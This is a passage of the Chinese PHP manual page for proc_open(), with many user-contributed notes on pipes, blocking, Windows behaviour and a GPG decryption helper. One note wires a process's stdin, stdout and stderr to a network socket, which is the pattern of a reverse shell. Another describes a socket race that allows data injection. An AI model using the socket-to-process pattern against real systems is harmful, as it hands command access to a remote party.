proc_open

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_open — 执行一个命令，并且打开用来输入/输出的文件指针。

说明

proc_open(
    array|string $command,
    array $descriptor_spec,
    array &$pipes,
    ?string $cwd = null,
    ?array $env_vars = null,
    ?array $options = null
): resource|false

类似 popen() 函数，但是 proc_open() 提供了更加强大的控制程序执行的能力。

参数

command

以 string 形式执行的命令行。特殊字符必须经过转义，并且使用正确的引号。

注意: 在 Windows 上, 除非在 options 中把 bypass_shell 设置为 true ，否则 command 会被传递给 cmd.exe （实际上是 %ComSpec%）其中的 /c 标志是 未加引号的 字符串（也就是和 proc_open() 一样）。这可能会导致 cmd.exe 删除 command 中的引号（详见 cmd.exe 文档），从而导致意外的，甚至是潜在的危险行为，因为 cmd.exe 错误消息可能包含（部分）传递的 command （见下面的例子）。

从 PHP 7.4.0 开始，command 参数可以使用 array 类型传递。在这种情况下，进程将直接打开（不通过 shell ）。而 PHP 会处理任何必要的参数转义。

注意:
在 Windows 上， array 元素的参数转义假定执行命令的命令行解析与 VC 运行时进行的命令行参数解析兼容。

descriptor_spec

一个索引数组。数组的键表示描述符，数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入（stdin），1 表示标准输出（stdout），2 表示标准错误（stderr）。

数组中的元素可以是：

包含了要传送至进程的管道的描述信息的数组。第一个元素为描述符类型，第二个元素是针对该描述符的选项。有效的类型有：pipe（第二个元素可以是：r 向进程传送该管道的读取端，w 向进程传送该管道的写入端），以及 file（第二个元素为文件名）。注意除了 w 之外的任何内容都视为 r。
流资源表示真实文件描述符（例如：已打开的文件，套接字，STDIN）。

文件描述符的值不限于 0，1 和 2，你可以使用任何有效的文件描述符并将其传送至子进程。这使得你的脚本可以和其他脚本交互操作。例如，可以通过指定文件描述符将密码以更加安全的方式传送至诸如 PGP，GPG 和 openssl 程序，同时也可以很方便的获取这些程序的状态信息。

pipes

将被置为索引数组，其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd

要执行命令的初始工作目录。必须是绝对路径，设置此参数为 null 表示使用默认值（当前 PHP 进程的工作目录）。

env_vars

要执行的命令所使用的环境变量。设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

options

你还可以指定一些附加选项。目前支持的选项包括：

suppress_errors （仅用于 Windows 平台）：设置为 true 表示抑制本函数产生的错误。
bypass_shell （仅用于 Windows 平台）：设置为 true 表示绕过 cmd.exe shell。
blocking_pipes （仅用于 Windows 平台）：设置为 true 表示强制堵塞管道。
create_process_group （仅用于 Windows 平台）：设置为 true 表示允许子进程处理 CTRL 事件。
create_new_console （仅用于 Windows 平台）：表示新进程有一个新的控制台，用于代替父进程的控制台。

返回值

返回表示进程的资源类型，当使用完毕之后，请调用 proc_close() 函数来关闭此资源。如果失败，返回 false。

更新日志

版本	说明
7.4.4	为 `options` 参数增加 `create_new_console` 选项。
7.4.0	proc_open() 的 `command` 参数现在也允许数组类型。
7.4.0	为 `options` 参数增加 `create_process_group` 选项。

示例

示例 #1 proc_open() 示例

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // 标准输入，子进程从此管道中读取数据
   1 => array("pipe", "w"),  // 标准输出，子进程向此管道中写入数据
   2 => array("file", "/tmp/error-output.txt", "a") // 标准错误，写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    // $pipes 现在看起来是这样的：
    // 0 => 可以向子进程标准输入写入的句柄
    // 1 => 可以从子进程标准输出读取的句柄
    // 错误输出将被追加到文件 /tmp/error-output.txt

    fwrite($pipes[0], '<?php print_r($_ENV); ?>');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    

    // 切记：在调用 proc_close 之前关闭所有的管道以避免死锁。
    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

以上示例的输出类似于：

 
Array
(
    [some_option] => aeiou
    [PWD] => /tmp
    [SHLVL] => 1
    [_] => /usr/local/bin/php
)
command returned 0

示例 #2 proc_open() 在 Windows 上的怪异行为

虽然人们可能期望下面的程序能够搜索文件 filename.txt 进行文本搜索，并打印结果，但它的行为相当不同。

<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$cmd = '"findstr" "search" "filename.txt"';
$proc = proc_open($cmd, $descriptorspec, $pipes);
proc_close($proc);
?>

以上示例会输出：

 
'findstr" "search" "filename.txt' is not recognized as an internal or external command,
operable program or batch file.

要解决该行为，通常只需将 command 加上引号：

$cmd = '""findstr" "search" "filename.txt""';

注释

注意:
Windows 兼容性：超过 2 的描述符也可以作为可继承的句柄传送到子进程。但是，由于 Windows 的架构并不将文件描述符和底层句柄进行关联，所以，子进程无法访问这样的句柄。标准输入，标准输出和标注错误会按照预期工作。

注意:
如果你只需要单向的进程管道，使用 popen() 函数会更加简单。

参见

popen() - 打开进程文件指针
exec() - 执行一个外部程序
system() - 执行外部程序，并且显示输出
passthru() - 执行外部程序并且显示原始输出
stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
The 执行运算符

＋add a note

User Contributed Notes 39 notes

down

php at keith tyler dot com ¶

13 years ago

Interestingly enough, it seems you actually have to store the return value in order for your streams to exist. You can't throw it away.

In other words, this works:

<?php
$proc=proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

prints:
foo

but this doesn't work:

<?php
proc_open("echo foo",
  array(
    array("pipe","r"),
    array("pipe","w"),
    array("pipe","w")
  ),
  $pipes);
print stream_get_contents($pipes[1]);
?>

outputs:
Warning: stream_get_contents(): <n> is not a valid stream resource in Command line code on line 1

The only difference is that in the second case we don't save the output of proc_open to a variable.

down

Bobby Dylan ¶

8 months ago

I'm not sure when the "blocking_pipes (windows only)" option was added to PHP, but users of this function should be fully aware that there is no such thing as a non-blocking pipe in PHP on Windows and that the "blocking_pipes" option does NOT function like you might expect.  Passing "blocking_pipes" => false does NOT mean non-blocking pipes.

PHP uses anonymous pipes to start processes on Windows.  The Windows CreatePipe() function does not directly support overlapped I/O (aka asynchronous), which is typically how async/non-blocking I/O happens on Windows.  SetNamedPipeHandleState() has an option called PIPE_NOWAIT but Microsoft has long discouraged the use of that option.  PHP does not use PIPE_NOWAIT anywhere in the source code tree.  PHP FastCGI startup code is the only place within the PHP source code that uses overlapped I/O (and also the only place that calls SetNamedPipeHandleState() with PIPE_WAIT).  Further, stream_set_blocking() on Windows is only implemented for sockets - not file handles or pipes.  That is, calling stream_set_blocking() on pipe handles returned by proc_open() will actually do nothing on Windows.  We can derive from these facts that PHP does not have a non-blocking implementation for pipes on Windows and will therefore block/deadlock when using proc_open().

PHP's pipe read implementation on Windows uses PeekNamedPipe() by polling on the pipe until there is some data available to read OR until ~32 seconds (3200000 * 10 microseconds of sleep) have passed before giving up, whichever comes first.  The "blocking_pipes" option, when set to true, changes that behavior to wait indefinitely (i.e. always block) until there is data on the pipe.  It's better to view the "blocking_pipes" option as a "possibly 32 second busy wait" timeout (false - the default value) vs. no timeout (true).  In either case, the boolean value for this option effectively blocks...it just happens to block a lot longer when set to true.

The undocumented string "socket" descriptor type can be passed to proc_open() and PHP will start a temporary TCP/IP server and generate a pre-connected TCP/IP socket pair for the pipe and pass one socket to the target process and return the other as the associated pipe.  However, passing a socket handle for stdout/stderr on Windows causes the last chunk(s) of output to occasionally get lost and not be delivered to the receiving end.  This is actually a known bug in Windows itself and Microsoft's response at one point was that CreateProcess() only officially supports anonymous pipes and file handles for the standard handles (i.e. not named pipes or socket handles) and that other handle types will produce "undefined behavior."  For sockets, it will "sometimes work fine and sometimes truncate the output."  The "socket" descriptor type also introduces a race condition that is probably a security vulnerability in proc_open() where another process can successfully connect to the server side BEFORE the original process connects to the socket to create the socket pair.  This allows a rogue application to send malformed data to a process, which could trigger anything from privilege escalation to SQL injection depending on what the application does with the information on stdout/stderr.

To get true non-blocking I/O in PHP for Windows for standard process handles (i.e. stdin, stdout, stderr) without obscure bugs cropping up, the only currently working option is to use an intermediary process that uses TCP/IP blocking sockets to route data to blocking standard handles via multithreading (i.e. start three threads to route data between the TCP/IP socket and the standard HANDLE and use a temporary secret to prevent race conditions when establishing the TCP/IP socket handles).  For those who lost count:  That's one extra process, up to four extra threads, and up to four TCP/IP sockets just to get functionally correct non-blocking I/O for proc_open() on Windows.  If you vomited a little bit at that idea/concept, well, people actually do this!  Feel free to vomit some more.

down

devel at romanr dot info ¶

11 years ago

The call works as should. No bugs.
But. In most cases you won't able to work with pipes in blocking mode.
When your output pipe (process' input one, $pipes[0]) is blocking, there is a case, when you and the process are blocked on output.
When your input pipe (process' output one, $pipes[1]) is blocking, there is a case, when you and the process both are blocked on own input.
So you should switch pipes into NONBLOCKING mode (stream_set_blocking).
Then, there is a case, when you're not able to read anything (fread($pipes[1],...) == "") either write (fwrite($pipes[0],...) == 0). In this case, you better check the process is alive (proc_get_status) and if it still is - wait for some time (stream_select). The situation is truly asynchronous, the process may be busy working, processing your data.
Using shell effectively makes not possible to know whether the command is exists - proc_open always returns valid resource. You may even write some data into it (into shell, actually). But eventually it will terminate, so check the process status regularly.
I would advice not using mkfifo-pipes, because filesystem fifo-pipe (mkfifo) blocks open/fopen call (!!!) until somebody opens other side (unix-related behavior). In case the pipe is opened not by shell and the command is crashed or is not exists you will be blocked forever.

down

vanyazin at gmail dot com ¶

8 years ago

If you want to use proc_open() function with socket streams, you can open connection with help of fsockopen() function and then just put handlers into array of io descriptors:

<?php

    $fh = fsockopen($address, $port);
    $descriptors = [
        $fh,   // stdin
        $fh,   // stdout
        $fh,   // stderr
    ];
    $proc = proc_open($cmd, $descriptors, $pipes);

down

aaronw at catalyst dot net dot nz ¶

8 years ago

If you have a CLI script that prompts you for a password via STDIN, and you need to run it from PHP, proc_open() can get you there. It's better than doing "echo $password | command.sh", because then your password will be visible in the process list to any user who runs "ps". Alternately you could print the password to a file and use cat: "cat passwordfile.txt | command.sh", but then you've got to manage that file in a secure manner.

If your command will always prompt you for responses in a specific order, then proc_open() is quite simple to use and you don't really have to worry about blocking & non-blocking streams. For instance, to run the "passwd" command:

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("pipe", "w")
);
$process = proc_open(
        '/usr/bin/passwd ' . escapeshellarg($username),
        $descriptorspec,
        $pipes
);

// It wil prompt for existing password, then new password twice.
// You don't need to escapeshellarg() these, but you should whitelist
// them to guard against control characters, perhaps by using ctype_print()
fwrite($pipes[0], "$oldpassword\n$newpassword\n$newpassword\n");

// Read the responses if you want to look at them
$stdout = fread($pipes[1], 1024);
$stderr = fread($pipes[2], 1024);

fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exit_status = proc_close($process);

// It returns 0 on successful password change
$success = ($exit_status === 0);
?>

down

simeonl at dbc dot co dot nz ¶

14 years ago

Note that when you call an external script and retrieve large amounts of data from STDOUT and STDERR, you may need to retrieve from both alternately in non-blocking mode (with appropriate pauses if no data is retrieved), so that your PHP script doesn't lock up. This can happen if you waiting on activity on one pipe while the external script is waiting for you to empty the other, e.g:

<?php
$read_output = $read_error = false;
$buffer_len  = $prev_buffer_len = 0; 
$ms          = 10;
$output      = '';
$read_output = true;
$error       = '';
$read_error  = true;
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);

// dual reading of STDOUT and STDERR stops one full pipe blocking the other, because the external script is waiting
while ($read_error != false or $read_output != false)
{
    if ($read_output != false)
    {
        if(feof($pipes[1])) 
        {
            fclose($pipes[1]);
            $read_output = false;
        }
        else 
        {
            $str = fgets($pipes[1], 1024);
            $len = strlen($str);
            if ($len)
            {
                $output .= $str; 
                $buffer_len += $len;
            }
        }
    }
    
    if ($read_error != false)
    {
        if(feof($pipes[2])) 
        {
            fclose($pipes[2]);
            $read_error = false;
        }
        else 
        {
            $str = fgets($pipes[2], 1024);
            $len = strlen($str);
            if ($len)
            {
                $error .= $str; 
                $buffer_len += $len;
            }
        }
    }
    
    if ($buffer_len > $prev_buffer_len)
    {
        $prev_buffer_len = $buffer_len;
        $ms = 10;
    }
    else 
    {
        usleep($ms * 1000); // sleep for $ms milliseconds
        if ($ms < 160)
        {
            $ms = $ms * 2;
        }
    }
}
        
return proc_close($process);
?>

down

mattis at xait dot no ¶

12 years ago

If you are, like me, tired of the buggy way proc_open handles streams and exit codes; this example demonstrate the power of pcntl, posix and some simple output redirection:

<?php
$outpipe = '/tmp/outpipe';
$inpipe = '/tmp/inpipe';
posix_mkfifo($inpipe, 0600);
posix_mkfifo($outpipe, 0600);

$pid = pcntl_fork();

//parent
if($pid) {
    $in = fopen($inpipe, 'w');
    fwrite($in, "A message for the inpipe reader\n");
    fclose($in);
    
    $out = fopen($outpipe, 'r');
    while(!feof($out)) {
        echo "From out pipe: " . fgets($out) . PHP_EOL;
    }
    fclose($out);

    pcntl_waitpid($pid, $status);
    
    if(pcntl_wifexited($status)) {
        echo "Reliable exit code: " . pcntl_wexitstatus($status) . PHP_EOL;
    }
    
    unlink($outpipe);
    unlink($inpipe);
}

//child
else {
    //parent
    if($pid = pcntl_fork()) {
        pcntl_exec('/bin/sh', array('-c', "printf 'A message for the outpipe reader' > $outpipe 2>&1 && exit 12"));
    }
    
    //child
    else {
        pcntl_exec('/bin/sh', array('-c', "printf 'From in pipe: '; cat $inpipe"));
    }    
}
?>

Output:

From in pipe: A message for the inpipe reader
From out pipe: A message for the outpipe reader
Reliable exit code: 12

down

chris AT w3style DOT co.uk ¶

15 years ago

It took me a long time (and three consecutive projects) to figure this out.  Because popen() and proc_open() return valid processes even when the command failed it's awkward to determine when it really has failed if you're opening a non-interactive process like "sendmail -t".

I had previously guess that reading from STDERR immediately after starting the process would work, and it does... but when the command is successful PHP just hangs because STDERR is empty and it's waiting for data to be written to it.

The solution is a simple stream_set_blocking($pipes[2], 0) immediately after calling proc_open().

<?php

    $this->_proc = proc_open($command, $descriptorSpec, $pipes);
    stream_set_blocking($pipes[2], 0);
    if ($err = stream_get_contents($pipes[2]))
    {
      throw new Swift_Transport_TransportException(
        'Process could not be started [' . $err . ']'
        );
    }

?>

If the process is opened successfully $pipes[2] will be empty, but if it failed the bash/sh error will be in it.

Finally I can drop all my "workaround" error checking.

I realise this solution is obvious and I'm not sure how it took me 18 months to figure it out, but hopefully this will help someone else.

NOTE: Make sure your descriptorSpec has ( 2 => array('pipe', 'w')) for this to work.

down

ralf at dreesen[*NO*SPAM*] dot net ¶

19 years ago

The behaviour described in the following may depend on the system php runs on. Our platform was "Intel with Debian 3.0 linux".

If you pass huge amounts of data (ca. >>10k) to the application you run and the application for example echos them directly to stdout (without buffering the input), you will get a deadlock. This is because there are size-limited buffers (so called pipes) between php and the application you run. The application will put data into the stdout buffer until it is filled, then it blocks waiting for php to read from the stdout buffer. In the meantime Php filled the stdin buffer and waits for the application to read from it. That is the deadlock.

A solution to this problem may be to set the stdout stream to non blocking (stream_set_blocking) and alternately write to stdin and read from stdout.

Just imagine the following example:

<?
/* assume that strlen($in) is about 30k
*/

$descriptorspec = array(
   0 => array("pipe", "r"),
   1 => array("pipe", "w"),
   2 => array("file", "/tmp/error-output.txt", "a")
);

$process = proc_open("cat", $descriptorspec, $pipes);

if (is_resource($process)) {
 
   fwrite($pipes[0], $in);
    /* fwrite writes to stdin, 'cat' will immediately write the data from stdin
    * to stdout and blocks, when the stdout buffer is full. Then it will not
    * continue reading from stdin and php will block here.
    */

   fclose($pipes[0]);

   while (!feof($pipes[1])) {
       $out .= fgets($pipes[1], 1024);
   }
   fclose($pipes[1]);

   $return_value = proc_close($process);
}
?>

down

Kyle Gibson ¶

18 years ago

proc_open is hard coded to use "/bin/sh". So if you're working in a chrooted environment, you need to make sure that /bin/sh exists, for now.

down

joachimb at gmail dot com ¶

15 years ago

I'm confused by the direction of the pipes. Most of the examples in this documentation opens pipe #2 as "r", because they want to read from stderr. That sounds logical to me, and that's what I tried to do. That didn't work, though. When I changed it to w, as in
<?php
        $descriptorspec = array(
           0 => array("pipe", "r"), // stdin
           1 => array("pipe", "w"), // stdout
           2 => array("pipe", "w") // stderr
        );
        
        $process = proc_open(escapeshellarg($scriptFile), $descriptorspec, $pipes, $this->wd);
...
        while (!feof($pipes[1])) {
            foreach($pipes as $key =>$pipe) {
                $line = fread($pipe, 128);
                if($line) {
                    print($line);
                    $this->log($line);
                }
            }
            sleep(0.5);
        }
...
?>

everything works fine.

down

michael dot gross at NOSPAM dot flexlogic dot at ¶

10 years ago

Please note that if you plan to spawn multiple processes you have to save all the results in different variables (in an array for example). If you for example would call $proc = proc_open..... multiple times the script will block after the second time until the child process exits (proc_close is called implicitly).

down

mcuadros at gmail dot com ¶

10 years ago

This is a example of how run a command using as output the TTY, just like crontab -e or git commit does.

<?php

$descriptors = array(
        array('file', '/dev/tty', 'r'),
        array('file', '/dev/tty', 'w'),
        array('file', '/dev/tty', 'w')
);

$process = proc_open('vim', $descriptors, $pipes);

down

php dot net_manual at reimwerker dot de ¶

17 years ago

If you are going to allow data coming from user input to be passed to this function, then you should keep in mind the following warning that also applies to exec() and system():

http://www.php.net/manual/en/function.exec.php
http://www.php.net/manual/en/function.system.php

Warning:

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.

down

John Wehin ¶

15 years ago

STDIN STDOUT example
test.php

<?php
$descriptorspec = array(
   0 => array("pipe", "r"), 
   1 => array("pipe", "w"), 
   2 => array("pipe", "r")
);
$process = proc_open('php test_gen.php', $descriptorspec, $pipes, null, null); //run test_gen.php
echo ("Start process:\n");
if (is_resource($process)) 
{
    fwrite($pipes[0], "start\n");    // send start
    echo ("\n\nStart ....".fgets($pipes[1],4096)); //get answer
    fwrite($pipes[0], "get\n");    // send get
    echo ("Get: ".fgets($pipes[1],4096));    //get answer
    fwrite($pipes[0], "stop\n");    //send stop
    echo ("\n\nStop ....".fgets($pipes[1],4096));  //get answer

    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $return_value = proc_close($process);  //stop test_gen.php
    echo ("Returned:".$return_value."\n");
}
?>

test_gen.php
<?php
$keys=0;
function play_stop()
{
global $keys;
        $stdin_stat_arr=fstat(STDIN);
        if($stdin_stat_arr[size]!=0)
        {
            $val_in=fread(STDIN,4096);
            switch($val_in)
            {
            case "start\n":    echo "Started\n";
                    return false;
                    break;
            case "stop\n":    echo "Stopped\n";
                    $keys=0;
                    return false;
                    break;
            case "pause\n":    echo "Paused\n";
                    return false;
                    break;
            case "get\n":    echo ($keys."\n");
                    return true;
                    break;
            default:    echo("Передан не верный параметр: ".$val_in."\n"); 
                    return true;
                    exit();
            }
        }else{return true;}
}
while(true)
{
while(play_stop()){usleep(1000);}
while(play_stop()){$keys++;usleep(10);}
}
?>

down

daniela at itconnect dot net dot au ¶

20 years ago

Just a small note in case it isn't obvious, its possible to treat the filename as in fopen, thus you can pass through the standard input from php like
    $descs = array (
                0 => array ("file", "php://stdin", "r"),
                1 => array ("pipe", "w"),
                2 => array ("pipe", "w")
        );
        $proc = proc_open ("myprogram", $descs, $fp);

down

andrew dot budd at adsciengineering dot com ¶

17 years ago

The pty option is actually disabled in the source for some reason via a #if 0 && condition.  I'm not sure why it's disabled.  I removed the 0 && and recompiled, after which the pty option works perfectly.  Just a note.

down

bilge at boontex dot com ¶

11 years ago

$cmd can actually be multiple commands by separating each command with a newline. However, due to this it is not possible to split up one very long command over multiple lines, even when using "\\\n" syntax.

down

Luceo ¶

13 years ago

It seems that stream_get_contents() on STDOUT blocks infinitly under Windows when STDERR is filled under some circumstances.

The trick is to open STDERR in append mode ("a"), then this will work, too.

<?php
$descriptorspec = array(
    0 => array('pipe', 'r'), // stdin
    1 => array('pipe', 'w'), // stdout
    2 => array('pipe', 'a') // stderr
);
?>

down

exel at example dot com ¶

10 years ago

pipe communications may break brains off. i want to share some stuff to avoid such result.
for proper control of the communications through the "in" and "out" pipes of the opened sub-process, remember to set both of them into non-blocking mode and especially notice that fwrite may return (int)0 but it's not an error, just process might not except input at that moment. 

so, let us consider an example of decoding gz-encoded file by using funzip as sub-process: (this is not the final version, just to show important things)

<?php
            // make gz file
            $fd=fopen("/tmp/testPipe", "w");
            for($i=0;$i<100000;$i++)
                fwrite($fd, md5($i)."\n");
            fclose($fd);

            if(is_file("/tmp/testPipe.gz"))
                unlink("/tmp/testPipe.gz");
            system("gzip /tmp/testPipe");

            // open process
            $pipesDescr=array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("file", "/tmp/testPipe.log", "a"),
            );

            $process=proc_open("zcat", $pipesDescr, $pipes);
            if(!is_resource($process)) throw new Exception("popen error");

            // set both pipes non-blocking
            stream_set_blocking($pipes[0], 0);
            stream_set_blocking($pipes[1], 0);

            ////////////////////////////////////////////////////////////////////

            $text="";
            $fd=fopen("/tmp/testPipe.gz", "r");
            while(!feof($fd))
            {
                $str=fread($fd, 16384*4);
                $try=3;
                while($str)
                {
                    $len=fwrite($pipes[0], $str);
                    while($s=fread($pipes[1], 16384*4))
                        $text.=$s;

                    if(!$len)
                    {
                        // if yo remove this paused retries, process may fail
                        usleep(200000);
                        $try--;
                        if(!$try)
                            throw new Exception("fwrite error");
                    }
                    $str=substr($str, $len);
                }
                echo strlen($text)."\n";
            }
            fclose($fd);
            fclose($pipes[0]);

            // reading the rest of output stream
            stream_set_blocking($pipes[1], 1);
            while(!feof($pipes[1]))
            {
                $s=fread($pipes[1], 16384);
                $text.=$s;
            }

            echo strlen($text)." / 3 300 000\n";
?>

down

weirdall at hotmail dot com ¶

6 years ago

This script will tail a file using tail -F to follow scripts that are rotated.

<?php
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that stdout will to write to
);

$filename = '/var/log/nginx/nginx-access.log';
if( !file_exists( $filename ) ) {
    file_put_contents($filename, '');
}
$process = proc_open('tail -F /var/log/nginx/stats.bluebillywig.com-access.log', $descriptorspec, $pipes);

if (is_resource($process)) {
    // $pipes now looks like this:
    // 0 => writeable handle connected to child stdin
    // 1 => readable handle connected to child stdout
    // Any error output will be sent to $pipes[2]

    // Closing $pipes[0] because we don't need it
    fclose( $pipes[0] );

    // stderr should not block, because that blocks the tail process
    stream_set_blocking($pipes[2], 0);
    $count=0;
    $stream = $pipes[1];

    while ( ($buf = fgets($stream,4096)) ) {
        print_r($buf);
        // Read stderr to see if anything goes wrong
        $stderr = fread($pipes[2], 4096);
        if( !empty( $stderr ) ) {
            print( 'log: ' . $stderr );
        }
    }
    fclose($pipes[1]);
    fclose($pipes[2]);

    // It is important that you close any pipes before calling
    // proc_close in order to avoid a deadlock
    proc_close($process);
}
?>

down

stoller at leonex dot de ¶

7 years ago

If you are working on Windows and try to proc_open an executable that contains spaces in its path, you will get into trouble.

But there's a workaround which works quite well. I have found it here: http://stackoverflow.com/a/4410389/1119601

For example, if you want to execute "C:\Program Files\nodejs\node.exe", you will get the error that the command could not be found.
Try this:
<?php
$cmd = 'C:\\Program Files\\nodejs\\node.exe';
if (strtolower(substr(PHP_OS,0,3)) === 'win') {
    $cmd = sprintf('cd %s && %s', escapeshellarg(dirname($cmd)), basename($cmd));
}
?>

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MagicalTux at FF.ST ¶

19 years ago

Note that if you need to be "interactive" with the user *and* the opened application, you can use stream_select to see if something is waiting on the other side of the pipe.

Stream functions can be used on pipes like :
 - pipes from popen, proc_open
 - pipes from fopen('php://stdin') (or stdout)
 - sockets (unix or tcp/udp)
 - many other things probably but the most important is here

More informations about streams (you'll find many useful functions there) :
http://www.php.net/manual/en/ref.stream.php

down

Anonymous ¶

15 years ago

I needed to emulate a tty for a process (it wouldnt write to stdout or read from stdin), so I found this:

<?php
$descriptorspec = array(0 => array('pty'),
                        1 => array('pty'),
                        2 => array('pty'));  
?>

pipes are bidirectional then

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hablutzel1 at gmail dot com ¶

8 years ago

Note that the usage of "bypass_shell" in Windows allows you to pass a command of length around ~32767 characters. If you do not use it, your limit is around ~8191 characters only. 

See https://support.microsoft.com/en-us/kb/830473.

down

stevebaldwin21 at googlemail dot com ¶

8 years ago

For those who are finding that using the $cwd and $env options cause proc_open to fail (windows). You will need to pass all other server environment variables; 

$descriptorSpec = array(
       0 => array("pipe", "r"),
       1 => array("pipe", "w"),     
    );

proc_open(
        "C:\\Windows\\System32\\PING.exe localhost, 
        $descriptorSpec , 
        $pipes, 
        "C:\\Windows\\System32", 
        array($_SERVER)
);

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Matou Havlena - matous at havlena dot net ¶

13 years ago

There is some smart object Processes Manager which i have created for my application. It can control the maximum of simultaneously running processes.

Proccesmanager class:
<?php 
class Processmanager {
    public $executable = "C:\\www\\_PHP5_2_10\\php";
    public $root = "C:\\www\\parallelprocesses\\";
    public $scripts = array();
    public $processesRunning = 0;
    public $processes = 3;
    public $running = array();
    public $sleep_time = 2;
    
    function addScript($script, $max_execution_time = 300) {
        $this->scripts[] = array("script_name" => $script,
                            "max_execution_time" => $max_execution_time);
    }
    
    function exec() {
        $i = 0;
        for(;;) {
        // Fill up the slots
        while (($this->processesRunning<$this->processes) and ($i<count($this->scripts))) {
        echo "<span style='color: orange;'>Adding script: ".$this->scripts[$i]["script_name"]."</span><br />";
        ob_flush();
        flush();
        $this->running[] =& new Process($this->executable, $this->root, $this->scripts[$i]["script_name"], $this->scripts[$i]["max_execution_time"]);
        $this->processesRunning++;
        $i++;
        }
        
        // Check if done
        if (($this->processesRunning==0) and ($i>=count($this->scripts))) {
            break;
        }
        // sleep, this duration depends on your script execution time, the longer execution time, the longer sleep time
      sleep($this->sleep_time);
      
      // check what is done
        foreach ($this->running as $key => $val) {
                if (!$val->isRunning() or $val->isOverExecuted()) {
            if (!$val->isRunning()) echo "<span style='color: green;'>Done: ".$val->script."</span><br />";
            else echo "<span style='color: red;'>Killed: ".$val->script."</span><br />";
                    proc_close($val->resource);
                    unset($this->running[$key]);
                    $this->processesRunning--;
            ob_flush();
            flush();
                }
            }
        }
    }
}
?>

Process class:
<?php
class Process {
    public $resource;
    public $pipes;
    public $script;
    public $max_execution_time;
    public $start_time;
    
    function __construct(&$executable, &$root, $script, $max_execution_time) {
        $this->script = $script;
        $this->max_execution_time = $max_execution_time;
        $descriptorspec    = array(
            0 => array('pipe', 'r'),
            1 => array('pipe', 'w'),
            2 => array('pipe', 'w')
        );
        $this->resource    = proc_open($executable." ".$root.$this->script, $descriptorspec, $this->pipes, null, $_ENV);
        $this->start_time = mktime();
    }
    
    // is still running?
    function isRunning() {
        $status = proc_get_status($this->resource);
        return $status["running"];
    }

    // long execution time, proccess is going to be killer
    function isOverExecuted() {
        if ($this->start_time+$this->max_execution_time<mktime()) return true;
        else return false;
    }

}
?>

Example of using:
<?php
$manager = new Processmanager();
$manager->executable = "C:\\www\\_PHP5_2_10\\php";
$manager->path = "C:\\www\\parallelprocesses\\";
$manager->processes = 3;
$manager->sleep_time = 2;
$manager->addScript("script1.php", 10);
$manager->addScript("script2.php");
$manager->addScript("script3.php");
$manager->addScript("script4.php");
$manager->addScript("script5.php");
$manager->addScript("script6.php");
$manager->exec();
?>

And possible output:

Adding script: script1.php
Adding script: script2.php
Adding script: script3.php
Done: script2.php
Adding script: script4.php
Killed: script1.php
Done: script3.php
Done: script4.php
Adding script: script5.php
Adding script: script6.php
Done: script5.php
Done: script6.php

down

Kevin Barr ¶

17 years ago

I found that with disabling stream blocking I was sometimes attempting to read a return line before the external application had responded. So, instead, I left blocking alone and used this simple function to add a timeout to the fgets function:

// fgetsPending( $in,$tv_sec ) - Get a pending line of data from stream $in, waiting a maximum of $tv_sec seconds
function fgetsPending(&$in,$tv_sec=10) {
    if ( stream_select($read = array($in),$write=NULL,$except=NULL,$tv_sec) ) return fgets($in);
    else return FALSE;    
}

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radone at gmail dot com ¶

15 years ago

To complete the examples below that use proc_open to encrypt a string using GPG, here is a decrypt function:



<?php

function gpg_decrypt($string, $secret) {

    $homedir = ''; // path to you gpg keyrings

    $tmp_file = '/tmp/gpg_tmp.asc' ; // tmp file to write to        

    file_put_contents($tmp_file, $string);



    $text = '';

    $error = '';

    $descriptorspec = array(

        0 => array("pipe", "r"),  // stdin

        1 => array("pipe", "w"),  // stdout

        2 => array("pipe", "w")   // stderr ?? instead of a file

        );

    $command = 'gpg --homedir ' . $homedir . ' --batch --no-verbose --passphrase-fd 0 -d ' . $tmp_file . ' ';

    $process = proc_open($command, $descriptorspec, $pipes);

    if (is_resource($process)) {

        fwrite($pipes[0], $secret);

        fclose($pipes[0]);

        while($s= fgets($pipes[1], 1024)) {

          // read from the pipe

          $text .= $s;

        }

        fclose($pipes[1]);

        // optional:

        while($s= fgets($pipes[2], 1024)) {

          $error .= $s . "\n";

        }

        fclose($pipes[2]);

    }

            

    file_put_contents($tmp_file, '');

    

    if (preg_match('/decryption failed/i', $error)) {

        return false;

    } else {

        return $text;

    }

}

?>

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cbn at grenet dot org ¶

13 years ago

Display output (stdout/stderr) in real time, and get the real exit code in pure PHP (no shell workaround!). It works well on my machines (debian mostly).

#!/usr/bin/php
<?php
/*
 * Execute and display the output in real time (stdout + stderr).
 *
 * Please note this snippet is prepended with an appropriate shebang for the 
 * CLI. You can re-use only the function.
 * 
 * Usage example:
 * chmod u+x proc_open.php
 * ./proc_open.php "ping -c 5 google.fr"; echo RetVal=$?
 */
define(BUF_SIZ, 1024);        # max buffer size
define(FD_WRITE, 0);        # stdin
define(FD_READ, 1);        # stdout
define(FD_ERR, 2);        # stderr

/*
 * Wrapper for proc_*() functions.
